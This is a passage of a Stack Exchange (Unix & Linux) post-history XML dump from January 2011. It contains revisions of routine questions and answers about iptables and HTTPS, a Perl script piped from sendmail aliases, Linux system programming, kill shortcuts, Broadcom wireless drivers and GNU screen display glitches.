https://www.eff.org/deeplinks/2010/06/encrypt-web-https-everywhere-firefox-extension" />
  <row Id="15042" PostHistoryTypeId="5" PostId="6570" RevisionGUID="8a6f46a8-59bd-479e-b2a5-f6c8c1b1f161" CreationDate="2011-01-28T03:11:52.223" UserId="3169" Comment="added 15 characters in body" Text="No, it is not possible using `iptables`.&#xD;&#xA;&#xD;&#xA;If you used it to redirect port 80 to port 443, your browser would still speak to it using `http` rather than `https`, and all you would get is garbage.&#xD;&#xA;&#xD;&#xA;Maybe something using a Squid proxy would work.  You could make it a transparent proxy if you can't change everyone's proxy settings.&#xD;&#xA;&#xD;&#xA;Or, if it's just for Facebook, there is a [new per-user setting to force HTTPS][1] that might work for you when it is rolled out.&#xD;&#xA;&#xD;&#xA;Or, if you're using Firefox, check out [HTTPS Everywhere][2].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.onlinesocialmedia.net/20110127/facebook-security-addition-of-https-access/&#xD;&#xA;  [2]: https://www.eff.org/deeplinks/2010/06/encrypt-web-https-everywhere-firefox-extension" />
  <row Id="15043" PostHistoryTypeId="2" PostId="6571" RevisionGUID="6793b85c-276b-4f8f-a3ee-1b104c8c32cf" CreationDate="2011-01-28T03:12:36.570" UserId="3913" Text="Hi everyone,&#xD;&#xA;&#xD;&#xA;I'm trying some sort of auto-subscription via a homegrown script. I know it can be achieved by mailing lists such as Mailman but I also want to learn at the same time on how to do it by hand. &#xD;&#xA;&#xD;&#xA;Here's the simple script:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl&#xD;&#xA;&#xD;&#xA;    use strict;&#xD;&#xA;    use warnings;&#xD;&#xA;&#xD;&#xA;    open (&quot;RCV_MAIL&quot;, &quot;&gt;&gt;/home/icasimpan/mail_received.txt&quot;) or die $!;&#xD;&#xA;    while(&lt;STDIN&gt;){&#xD;&#xA;       print RCV_MAIL;&#xD;&#xA;    }&#xD;&#xA;    close(RCV_MAIL);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I attached the above script in /etc/aliases using the syntax:&#xD;&#xA;&#xD;&#xA;&gt; subscribe: | /home/icasimpan/parse-subscribe.pl&#xD;&#xA;&#xD;&#xA;and run&#xD;&#xA;&gt; $ sudo newaliases&#xD;&#xA;&#xD;&#xA;It's still a very bare script. Just testing out if I my syntax in /etc/aliases is correct.&#xD;&#xA;&#xD;&#xA;But when I tried emailing subscribe@mydomaintests.tld, it returns something like:&#xD;&#xA;&#xD;&#xA;&gt; Delivery failure 69&#xD;&#xA;&#xD;&#xA;I'm using Lotus Notes so my google search directed me to [this link][1]. Apparently, something to do with the file...Not sure.&#xD;&#xA;&#xD;&#xA;The command is executable, in fact I tried making it 777 and even created the mail_received.txt in the directory just to ensure I have no file permission problem but still the same.&#xD;&#xA;&#xD;&#xA;Can anyone pitch in please?&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;&#xD;&#xA;Ismael Casimpan :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.symantec.com/business/support/index?page=content&amp;id=TECH138158&amp;actp=search&amp;viewlocale=en_US&amp;searchid=1296180757307" />
  <row Id="15044" PostHistoryTypeId="1" PostId="6571" RevisionGUID="6793b85c-276b-4f8f-a3ee-1b104c8c32cf" CreationDate="2011-01-28T03:12:36.570" UserId="3913" Text="Help with piped program in sendmail's /etc/aliases" />
  <row Id="15045" PostHistoryTypeId="3" PostId="6571" RevisionGUID="6793b85c-276b-4f8f-a3ee-1b104c8c32cf" CreationDate="2011-01-28T03:12:36.570" UserId="3913" Text="émailàésendmailà" />
  <row Id="15046" PostHistoryTypeId="2" PostId="6572" RevisionGUID="7de81b54-b700-44bc-b41f-eced01ef509d" CreationDate="2011-01-28T04:07:14.360" UserId="4269" Text="&#xD;&#xA;&#xD;&#xA;Hi,&#xD;&#xA;&#xD;&#xA;I have only a very basic idea about linux system programming. I have not done any real projects using linux system programming. In my current company i do system admin type work. but i am more interested in Linux System Programming. I want to do some projects on my own, so that i could put those projects in my resume when i apply for joining another companies. Kindly tell me the whether there is any projects where i could learn more linux system programming by doing some real programming stuff.&#xD;&#xA;&#xD;&#xA;Please Note that i only have experience in C programming and not in Linux System Programming. But i know very basic things in linux system programming.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="15047" PostHistoryTypeId="1" PostId="6572" RevisionGUID="7de81b54-b700-44bc-b41f-eced01ef509d" CreationDate="2011-01-28T04:07:14.360" UserId="4269" Text="Learn Linux System Programming by doing projects" />
  <row Id="15048" PostHistoryTypeId="3" PostId="6572" RevisionGUID="7de81b54-b700-44bc-b41f-eced01ef509d" CreationDate="2011-01-28T04:07:14.360" UserId="4269" Text="élinuxàéopensourceöprojectsàésystemöprogrammingà" />
  <row Id="15049" PostHistoryTypeId="25" PostId="6569" RevisionGUID="a2bae8d6-9d1e-4741-9a8d-64c34549e4ba" CreationDate="2011-01-28T05:15:59.213" Comment="http://twitter.com/#!/StackUnix/status/30856590353502208" />
  <row Id="15050" PostHistoryTypeId="2" PostId="6573" RevisionGUID="06c65f2e-911c-49b7-af3d-5459d2f6a982" CreationDate="2011-01-28T05:37:10.367" UserId="2832" Text="@dogbane, Thanks. &lt;br /&gt;&#xD;&#xA;I found another way too which saves both the streams approximately in the order as they would get printed without redirection.&#xD;&#xA;&#xD;&#xA;`command 2&gt; &gt;(tee errlog | tee -a bothLog &gt; /dev/tty ) | tee outlog | tee -a bothLog`&#xD;&#xA;&#xD;&#xA;But this works only with the shells which supports process substitution." />
  <row Id="15051" PostHistoryTypeId="5" PostId="6467" RevisionGUID="8f4b0731-2f1e-460a-bb51-be30c7943862" CreationDate="2011-01-28T05:39:06.647" UserId="4193" Comment="Added more info." Text="If this question is too programmer oriented, let me know.  I wonder if there are people familiar with the O_DIRECT flag for the open() system call on Linux 2.6?  Linus disparages its use, however high performance file writing seems to indicate its use.  I would like to know of any real world experience and recommendations.&#xD;&#xA;&#xD;&#xA;More info:&#xD;&#xA;The application that I am using _does_ maintain its own cache, and in so doing attains an average of 5x or more speed up by doing so.  When writing to file, the contents of the cache must be written out to the filesystem cache, which seems redundant and a performance concern." />
  <row Id="15052" PostHistoryTypeId="2" PostId="6574" RevisionGUID="139b69dc-6b6f-481e-bce6-130eec94b53d" CreationDate="2011-01-28T07:30:10.557" UserId="3169" Text="    open (&quot;RCV_MAIL&quot;, &quot;&gt;&gt;/home/icasimpan/mail_received.txt&quot;) or die $!;&#xD;&#xA;    while(&lt;STDIN&gt;){&#xD;&#xA;       print RCV_MAIL;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;is wrong.&#xD;&#xA;&#xD;&#xA;If you're trying to print lines from STDIN to mail_received.txt, you would need:&#xD;&#xA;&#xD;&#xA;    open (RCV_MAIL, &quot;&gt;&gt;/home/icasimpan/mail_received.txt&quot;) or die $!;&#xD;&#xA;    while (&lt;STDIN&gt;) {&#xD;&#xA;       print $_ RCV_MAIL;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;because `print` with one argument takes the argument to mean the list to print, not the filehandle to print it to.&#xD;&#xA;&#xD;&#xA;    $ perldoc -f print&#xD;&#xA;    print FILEHANDLE LIST&#xD;&#xA;    print LIST&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Also, no need for quotes around the filehandle name in `open`.  Just use `RCV_MAIL`.&#xD;&#xA;" />
  <row Id="15053" PostHistoryTypeId="5" PostId="6529" RevisionGUID="8b6d6759-4014-49c8-a3b1-62a07854d68c" CreationDate="2011-01-28T07:51:34.993" UserId="3372" Comment="added 7 characters in body" Text="A similar question has already been answered [here][1]&#xD;&#xA;&#xD;&#xA;Theoretically you can use almost any ASCII character you want as username, but, to avoid some kind of bugs, like to one mentioned in the above article, you can set that regular expression that avoid certain issues.&#xD;&#xA;&#xD;&#xA;I hope it helps...&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/73084/what-characters-should-i-use-or-not-use-in-usernames-on-linux/73101#73101" />
  <row Id="15054" PostHistoryTypeId="2" PostId="6575" RevisionGUID="6ddf755e-d3e7-47fd-b93e-3d5ab86b803b" CreationDate="2011-01-28T07:54:48.610" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;I want to know whether there is any keyboard shortcut for &quot;task manager&quot; (like Alt+Ctrl+Del in windows) when my machine go into crashed state?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15055" PostHistoryTypeId="1" PostId="6575" RevisionGUID="6ddf755e-d3e7-47fd-b93e-3d5ab86b803b" CreationDate="2011-01-28T07:54:48.610" UserId="2269" Text="Task manager keyboard short cut in Linux?" />
  <row Id="15056" PostHistoryTypeId="3" PostId="6575" RevisionGUID="6ddf755e-d3e7-47fd-b93e-3d5ab86b803b" CreationDate="2011-01-28T07:54:48.610" UserId="2269" Text="élinuxàékeyboardöshortcutsà" />
  <row Id="15057" PostHistoryTypeId="2" PostId="6576" RevisionGUID="2e6e475a-020b-470c-8b41-a7e5b2047555" CreationDate="2011-01-28T08:04:01.390" UserId="2327" Text="C is fine for system programming. As a starting point you could take a look at the books from [this questions](http://unix.stackexchange.com/questions/238/what-is-the-best-book-to-learn-linux-system-programming). As system programming is a broad field, perhaps they give you a hint where you could start.&#xD;&#xA;&#xD;&#xA;The ultimate project would definitely be the linux kernel, but it's hard as your first project. &#xD;&#xA;&#xD;&#xA;A smoother entrance to the field would be, to rewrite  some command line tools. Take `ls` or `cat` or some other command line tool, and try to rewrite it. Start with the most basic functionality of the command and then you can try to add more functionality over time. During this process you might get ideas to improve the existing tools or to do a complete new one on your own." />
  <row Id="15058" PostHistoryTypeId="25" PostId="6572" RevisionGUID="88e001f6-8b31-4ec7-82bb-6d0c3fefccf4" CreationDate="2011-01-28T08:15:59.370" Comment="http://twitter.com/#!/StackUnix/status/30901889692344320" />
  <row Id="15059" PostHistoryTypeId="5" PostId="6574" RevisionGUID="3887cb80-f34f-4277-be4a-195d2f50202b" CreationDate="2011-01-28T08:23:21.877" UserId="3169" Comment="fix the open mode on my code snippet, not the OP's" Text="    open (&quot;RCV_MAIL&quot;, &quot;&gt;&gt;/home/icasimpan/mail_received.txt&quot;) or die $!;&#xD;&#xA;    while(&lt;STDIN&gt;){&#xD;&#xA;       print RCV_MAIL;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;is wrong.&#xD;&#xA;&#xD;&#xA;If you're trying to print lines from STDIN to mail_received.txt, you would need:&#xD;&#xA;&#xD;&#xA;    open (RCV_MAIL, &quot;&lt;/home/icasimpan/mail_received.txt&quot;) or die $!;&#xD;&#xA;    while (&lt;STDIN&gt;) {&#xD;&#xA;       print RCV_MAIL $_;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;because `print` with one argument takes the argument to mean the list to print, not the filehandle to print it to.&#xD;&#xA;&#xD;&#xA;    $ perldoc -f print&#xD;&#xA;    print FILEHANDLE LIST&#xD;&#xA;    print LIST&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Also, no need for quotes around the filehandle name in `open`.  Just use `RCV_MAIL`.&#xD;&#xA;" />
  <row Id="15060" PostHistoryTypeId="5" PostId="6537" RevisionGUID="11357022-ce2f-4ba4-880b-3bd8a6c46ea9" CreationDate="2011-01-28T08:24:16.390" UserId="3372" Comment="improved formatting" Text="Indeed it's possible and of course it exists, but all of the existing projects are still just experiments.&#xD;&#xA;&#xD;&#xA;This is a really interesting paper:&#xD;&#xA;&#xD;&#xA;[A P2P-Based Architecture for Secure Software Delivery Using Volunteer Assistance][1]&#xD;&#xA;&#xD;&#xA;Another interesting paper is &quot;[Simulation platform for distributed package management network][2]&quot;&#xD;&#xA;&#xD;&#xA;Where they introduce the &quot;Repository-less Package Management Network&quot; , that is another revealing search experience you can perform with google.&#xD;&#xA;&#xD;&#xA;So yes, it's possible and it's indeed a really interesting subject.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.p2p08.org/program/sessions/08-cooperative-systems/1%20-%20P2p08.pdf/at_download/file&#xD;&#xA;  [2]: http://enstb.org/~gsimon/Resources/sujet_master_2011.pdf" />
  <row Id="15061" PostHistoryTypeId="5" PostId="6574" RevisionGUID="f6312f94-282a-4231-8d1f-f07b74c04b8c" CreationDate="2011-01-28T08:33:42.337" UserId="3169" Comment="added 1 characters in body" Text="    open (&quot;RCV_MAIL&quot;, &quot;&gt;&gt;/home/icasimpan/mail_received.txt&quot;) or die $!;&#xD;&#xA;    while(&lt;STDIN&gt;){&#xD;&#xA;       print RCV_MAIL;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;is wrong.&#xD;&#xA;&#xD;&#xA;If you're trying to print lines from STDIN to mail_received.txt, you would need:&#xD;&#xA;&#xD;&#xA;    open (RCV_MAIL, &quot;&gt;&gt;/home/icasimpan/mail_received.txt&quot;) or die $!;&#xD;&#xA;    while (&lt;STDIN&gt;) {&#xD;&#xA;       print RCV_MAIL $_;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;because `print` with one argument takes the argument to mean the list to print, not the filehandle to print it to.&#xD;&#xA;&#xD;&#xA;    $ perldoc -f print&#xD;&#xA;    print FILEHANDLE LIST&#xD;&#xA;    print LIST&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Also, no need for quotes around the filehandle name in `open`.  Just use `RCV_MAIL`.&#xD;&#xA;" />
  <row Id="15062" PostHistoryTypeId="2" PostId="6577" RevisionGUID="d042cdd7-7a85-442d-9ea8-db275a275462" CreationDate="2011-01-28T08:44:27.180" UserId="4272" Text="I have a new Sandy Bridge i5-2500 and Intel H67 motherboard. As the onboard video didn't work, I put in an older 8600 gts graphics card. However, the S3 suspend won't work (and I can't test without the dedicated card). I've had this experience with all other desktops (all of which have nvidia cards).&#xD;&#xA;&#xD;&#xA;Any help diagnosing what might be the problem would be appreciated. I've been trying a few s2ram parameters at [en.opensuse.org/SDB:Suspend_to_RAM][1], but this is very time consuming and so far fruitless. Namely,&#xD;&#xA;&#xD;&#xA; - Of course, if you have experience with a H67 or P67 motherboard, that would be most useful.&#xD;&#xA; - If you have owned Intel desktop motherboards, how often does S3 work?&#xD;&#xA; - same with nVidia graphics cards&#xD;&#xA; - Does the power supply ever make a difference?&#xD;&#xA;&#xD;&#xA;Thanks very much!&#xD;&#xA;&#xD;&#xA;  [1]: http://en.opensuse.org/SDB:Suspend_to_RAM" />
  <row Id="15063" PostHistoryTypeId="1" PostId="6577" RevisionGUID="d042cdd7-7a85-442d-9ea8-db275a275462" CreationDate="2011-01-28T08:44:27.180" UserId="4272" Text="S3 sleep problems -- nVidia or Intel H67 (Sandy Bridge motherboard) issue?" />
  <row Id="15064" PostHistoryTypeId="3" PostId="6577" RevisionGUID="d042cdd7-7a85-442d-9ea8-db275a275462" CreationDate="2011-01-28T08:44:27.180" UserId="4272" Text="ékernelàésuspendà" />
  <row Id="15065" PostHistoryTypeId="5" PostId="6571" RevisionGUID="3b0409e5-d932-4ce4-8378-cd22d86727e0" CreationDate="2011-01-28T08:51:51.613" UserId="3069" Comment="deleted 14 characters in body; edited tags" Text="Hi everyone,&#xD;&#xA;&#xD;&#xA;I'm trying some sort of auto-subscription via a homegrown script. I know it can be achieved by mailing lists such as Mailman but I also want to learn at the same time on how to do it by hand. &#xD;&#xA;&#xD;&#xA;Here's the simple script:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl&#xD;&#xA;&#xD;&#xA;    use strict;&#xD;&#xA;    use warnings;&#xD;&#xA;&#xD;&#xA;    open (&quot;RCV_MAIL&quot;, &quot;&gt;&gt;/home/icasimpan/mail_received.txt&quot;) or die $!;&#xD;&#xA;    while(&lt;STDIN&gt;){&#xD;&#xA;       print RCV_MAIL;&#xD;&#xA;    }&#xD;&#xA;    close(RCV_MAIL);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I attached the above script in /etc/aliases using the syntax:&#xD;&#xA;&#xD;&#xA;    subscribe: | /home/icasimpan/parse-subscribe.pl&#xD;&#xA;&#xD;&#xA;and run&#xD;&#xA;&#xD;&#xA;    $ sudo newaliases&#xD;&#xA;&#xD;&#xA;It's still a very bare script. Just testing out if I my syntax in /etc/aliases is correct.&#xD;&#xA;&#xD;&#xA;But when I tried emailing subscribe@mydomaintests.tld, it returns something like:&#xD;&#xA;&#xD;&#xA;    Delivery failure 69&#xD;&#xA;&#xD;&#xA;I'm using Lotus Notes so my google search directed me to [this link][1]. Apparently, something to do with the file...Not sure.&#xD;&#xA;&#xD;&#xA;The command is executable, in fact I tried making it 777 and even created the mail_received.txt in the directory just to ensure I have no file permission problem but still the same.&#xD;&#xA;&#xD;&#xA;Can anyone pitch in please?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.symantec.com/business/support/index?page=content&amp;id=TECH138158&amp;actp=search&amp;viewlocale=en_US&amp;searchid=1296180757307" />
  <row Id="15066" PostHistoryTypeId="6" PostId="6571" RevisionGUID="3b0409e5-d932-4ce4-8378-cd22d86727e0" CreationDate="2011-01-28T08:51:51.613" UserId="3069" Comment="deleted 14 characters in body; edited tags" Text="émailàéperlàésendmailà" />
  <row Id="15067" PostHistoryTypeId="2" PostId="6578" RevisionGUID="84587755-f70c-47bd-8023-54f869842ec2" CreationDate="2011-01-28T08:54:46.880" UserId="872" Text="Here are a few useful shortcuts you can try:&#xD;&#xA;&#xD;&#xA;   - `&lt;Ctrl&gt;&lt;Esc&gt;` displays table of processes&#xD;&#xA;   - `&lt;Ctrl&gt;&lt;Alt&gt;&lt;Esc&gt;` converts the pointer to a skull-and-crossbones and will kill the process of the window you click on&#xD;&#xA;   - `&lt;Ctrl&gt;&lt;Alt&gt;&lt;Backspace&gt;` kills the X-server&#xD;&#xA;   - `&lt;Ctrl&gt;&lt;Alt&gt;&lt;Del&gt;` shutdown the system and reboot" />
  <row Id="15068" PostHistoryTypeId="2" PostId="6579" RevisionGUID="32862222-9072-4163-b60f-31be3cdbd8e2" CreationDate="2011-01-28T10:25:20.490" UserId="4277" Text="hi , i just installed ubuntu 10.10 to make my dell inspiron 1564 &lt;64bit&gt; dual boot.&#xD;&#xA;but i cant access wi-fi. i guess i need to download drivers for wireless.&#xD;&#xA;my system details are:&#xD;&#xA;&#xD;&#xA;raman@ubuntu:~$ sudo lshw -C network&#xD;&#xA;[sudo] password for raman: &#xD;&#xA;  *-network               &#xD;&#xA;       description: Network controller&#xD;&#xA;       product: BCM4312 802.11b/g LP-PHY&#xD;&#xA;       vendor: Broadcom Corporation&#xD;&#xA;       physical id: 0&#xD;&#xA;       bus info: pci@0000:04:00.0&#xD;&#xA;       version: 01&#xD;&#xA;       width: 64 bits&#xD;&#xA;       clock: 33MHz&#xD;&#xA;       capabilities: pm msi pciexpress bus_master cap_list&#xD;&#xA;       configuration: driver=b43-pci-bridge latency=0&#xD;&#xA;       resources: irq:17 memory:f0200000-f0203fff&#xD;&#xA;  *-network&#xD;&#xA;       description: Ethernet interface&#xD;&#xA;       product: RTL8101E/RTL8102E PCI Express Fast Ethernet controller&#xD;&#xA;       vendor: Realtek Semiconductor Co., Ltd.&#xD;&#xA;       physical id: 0&#xD;&#xA;       bus info: pci@0000:05:00.0&#xD;&#xA;       logical name: eth0&#xD;&#xA;       version: 02&#xD;&#xA;       serial: 00:26:b9:21:a7:41&#xD;&#xA;       size: 10MB/s&#xD;&#xA;       capacity: 100MB/s&#xD;&#xA;       width: 64 bits&#xD;&#xA;       clock: 33MHz&#xD;&#xA;       capabilities: pm msi pciexpress msix vpd bus_master cap_list rom ethernet physical tp mii 10bt 10bt-fd 100bt 100bt-fd autonegotiation&#xD;&#xA;       configuration: autonegotiation=on broadcast=yes driver=r8169 driverversion=2.3LK-NAPI duplex=half latency=0 link=no multicast=yes port=MII speed=10MB/s&#xD;&#xA;       resources: irq:45 ioport:3000(size=256) memory:f0410000-f0410fff memory:f0400000-f040ffff memory:f0420000-f043ffff&#xD;&#xA;  *-network DISABLED&#xD;&#xA;       description: Wireless interface&#xD;&#xA;       physical id: 4&#xD;&#xA;       logical name: wlan0&#xD;&#xA;       serial: c4:17:fe:d5:ec:ca&#xD;&#xA;       capabilities: ethernet physical wireless&#xD;&#xA;       configuration: broadcast=yes driver=b43 driverversion=2.6.35-22-generic firmware=N/A link=yes multicast=yes wireless=IEEE 802.11bg&#xD;&#xA;raman@ubuntu:~$ ^C&#xD;&#xA;raman@ubuntu:~$ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;raman@ubuntu:~$ iwconfig&#xD;&#xA;lo        no wireless extensions.&#xD;&#xA;&#xD;&#xA;eth0      no wireless extensions.&#xD;&#xA;&#xD;&#xA;wlan0     IEEE 802.11bg  ESSID:off/any  &#xD;&#xA;          Mode:Managed  Access Point: Not-Associated   Tx-Power=0 dBm   &#xD;&#xA;          Retry  long limit:7   RTS thr:off   Fragment thr:off&#xD;&#xA;          Power Management:off&#xD;&#xA;          &#xD;&#xA;raman@ubuntu:~$ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;raman@ubuntu:~$ ifconfig&#xD;&#xA;eth0      Link encap:Ethernet  HWaddr 00:26:b9:21:a7:41  &#xD;&#xA;          UP BROADCAST MULTICAST  MTU:1500  Metric:1&#xD;&#xA;          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;          collisions:0 txqueuelen:1000 &#xD;&#xA;          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&#xD;&#xA;          Interrupt:45 Base address:0xe000 &#xD;&#xA;&#xD;&#xA;lo        Link encap:Local Loopback  &#xD;&#xA;          inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;          inet6 addr: ::1/128 Scope:Host&#xD;&#xA;          UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;          RX packets:265 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;          TX packets:265 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;          collisions:0 txqueuelen:0 &#xD;&#xA;          RX bytes:22358 (22.3 KB)  TX bytes:22358 (22.3 KB)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="15069" PostHistoryTypeId="1" PostId="6579" RevisionGUID="32862222-9072-4163-b60f-31be3cdbd8e2" CreationDate="2011-01-28T10:25:20.490" UserId="4277" Text="wireless problem" />
  <row Id="15070" PostHistoryTypeId="3" PostId="6579" RevisionGUID="32862222-9072-4163-b60f-31be3cdbd8e2" CreationDate="2011-01-28T10:25:20.490" UserId="4277" Text="éubuntuà" />
  <row Id="15071" PostHistoryTypeId="5" PostId="6579" RevisionGUID="ba6c0f9e-dcbe-490f-ad37-14ba904252d5" CreationDate="2011-01-28T10:40:09.637" UserId="3069" Comment="added 158 characters in body; edited tags" Text="Hi, I just installed Ubuntu 10.10 to make my dell inspiron 1564 &lt;64bit&gt; dual boot.&#xD;&#xA;But I can't access wi-fi. I guess, I need to download drivers for wireless.&#xD;&#xA;&#xD;&#xA;My system details are:&#xD;&#xA;&#xD;&#xA;    raman@ubuntu:~$ sudo lshw -C network&#xD;&#xA;      *-network               &#xD;&#xA;           description: Network controller&#xD;&#xA;           product: BCM4312 802.11b/g LP-PHY&#xD;&#xA;           vendor: Broadcom Corporation&#xD;&#xA;           physical id: 0&#xD;&#xA;           bus info: pci@0000:04:00.0&#xD;&#xA;           version: 01&#xD;&#xA;           width: 64 bits&#xD;&#xA;           clock: 33MHz&#xD;&#xA;           capabilities: pm msi pciexpress bus_master cap_list&#xD;&#xA;           configuration: driver=b43-pci-bridge latency=0&#xD;&#xA;           resources: irq:17 memory:f0200000-f0203fff&#xD;&#xA;      *-network&#xD;&#xA;           description: Ethernet interface&#xD;&#xA;           product: RTL8101E/RTL8102E PCI Express Fast Ethernet controller&#xD;&#xA;           vendor: Realtek Semiconductor Co., Ltd.&#xD;&#xA;           physical id: 0&#xD;&#xA;           bus info: pci@0000:05:00.0&#xD;&#xA;           logical name: eth0&#xD;&#xA;           version: 02&#xD;&#xA;           serial: 00:26:b9:21:a7:41&#xD;&#xA;           size: 10MB/s&#xD;&#xA;           capacity: 100MB/s&#xD;&#xA;           width: 64 bits&#xD;&#xA;           clock: 33MHz&#xD;&#xA;           capabilities: pm msi pciexpress msix vpd bus_master cap_list rom ethernet physical tp mii 10bt 10bt-fd 100bt 100bt-fd autonegotiation&#xD;&#xA;           configuration: autonegotiation=on broadcast=yes driver=r8169 driverversion=2.3LK-NAPI duplex=half latency=0 link=no multicast=yes port=MII speed=10MB/s&#xD;&#xA;           resources: irq:45 ioport:3000(size=256) memory:f0410000-f0410fff memory:f0400000-f040ffff memory:f0420000-f043ffff&#xD;&#xA;      *-network DISABLED&#xD;&#xA;           description: Wireless interface&#xD;&#xA;           physical id: 4&#xD;&#xA;           logical name: wlan0&#xD;&#xA;           serial: c4:17:fe:d5:ec:ca&#xD;&#xA;           capabilities: ethernet physical wireless&#xD;&#xA;           configuration: broadcast=yes driver=b43 driverversion=2.6.35-22-generic firmware=N/A link=yes multicast=yes wireless=IEEE 802.11bg&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;    raman@ubuntu:~$ iwconfig&#xD;&#xA;    lo        no wireless extensions.&#xD;&#xA;    &#xD;&#xA;    eth0      no wireless extensions.&#xD;&#xA;    &#xD;&#xA;    wlan0     IEEE 802.11bg  ESSID:off/any  &#xD;&#xA;              Mode:Managed  Access Point: Not-Associated   Tx-Power=0 dBm   &#xD;&#xA;              Retry  long limit:7   RTS thr:off   Fragment thr:off&#xD;&#xA;              Power Management:off&#xD;&#xA;              &#xD;&#xA;&#xD;&#xA;    raman@ubuntu:~$ ifconfig&#xD;&#xA;    eth0      Link encap:Ethernet  HWaddr 00:26:b9:21:a7:41  &#xD;&#xA;              UP BROADCAST MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:1000 &#xD;&#xA;              RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&#xD;&#xA;              Interrupt:45 Base address:0xe000 &#xD;&#xA;    &#xD;&#xA;    lo        Link encap:Local Loopback  &#xD;&#xA;              inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;              inet6 addr: ::1/128 Scope:Host&#xD;&#xA;              UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;              RX packets:265 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:265 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:0 &#xD;&#xA;              RX bytes:22358 (22.3 KB)  TX bytes:22358 (22.3 KB)&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="15072" PostHistoryTypeId="6" PostId="6579" RevisionGUID="ba6c0f9e-dcbe-490f-ad37-14ba904252d5" CreationDate="2011-01-28T10:40:09.637" UserId="3069" Comment="added 158 characters in body; edited tags" Text="éubuntuàéwirelessà" />
  <row Id="15073" PostHistoryTypeId="2" PostId="6580" RevisionGUID="25589046-c956-4fba-a7d8-82c2d25f7061" CreationDate="2011-01-28T10:49:17.227" UserId="4276" Text="I recently starting using GNU screen via Byobu but I think the problem is related to screen.&#xD;&#xA;&#xD;&#xA;I first SSH into a server and then do a reverse search to run a commonly run command (dump a the database). I've redacted some of the text, but because  usually outputs `(reverse-i-search)`':` before the search, it pushed the line across the width of the terminal. &#xD;&#xA;&#xD;&#xA;http:// www2.ryankaskel.com/misc/images/screenshots/screen_garbage_text_20110128.png &#xD;&#xA;&#xD;&#xA;(Sorry I can only post one link and no image; please remove space between &quot;http://&quot; and the rest of the URL... pretty silly)&#xD;&#xA;&#xD;&#xA;If I am happy with the search and accept the command, the rightmost text stays put. See below:&#xD;&#xA;&#xD;&#xA;[screenshot][1]&#xD;&#xA;&#xD;&#xA;So, why is this &quot;garbage text&quot; staying in the window? It only happens in screen and only seems to happen for certain hosts that use my custom .bashrc formatting and don't have their own.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www2.ryankaskel.com/misc/images/screenshots/screen_garbage_text2_20110128.png" />
  <row Id="15074" PostHistoryTypeId="1" PostId="6580" RevisionGUID="25589046-c956-4fba-a7d8-82c2d25f7061" CreationDate="2011-01-28T10:49:17.227" UserId="4276" Text="Why is GNU screen / byobu leaving garbage text in the shell during a reverse search?" />
  <row Id="15075" PostHistoryTypeId="3" PostId="6580" RevisionGUID="25589046-c956-4fba-a7d8-82c2d25f7061" CreationDate="2011-01-28T10:49:17.227" UserId="4276" Text="éshellàésshàéscreenàéopensolarisàébyobuà" />
  <row Id="15076" PostHistoryTypeId="25" PostId="6575" RevisionGUID="91fbf5be-6ba2-4234-9589-7991e075cee7" CreationDate="2011-01-28T11:15:58.937" Comment="http://twitter.com/#!/StackUnix/status/30947186661396480" />
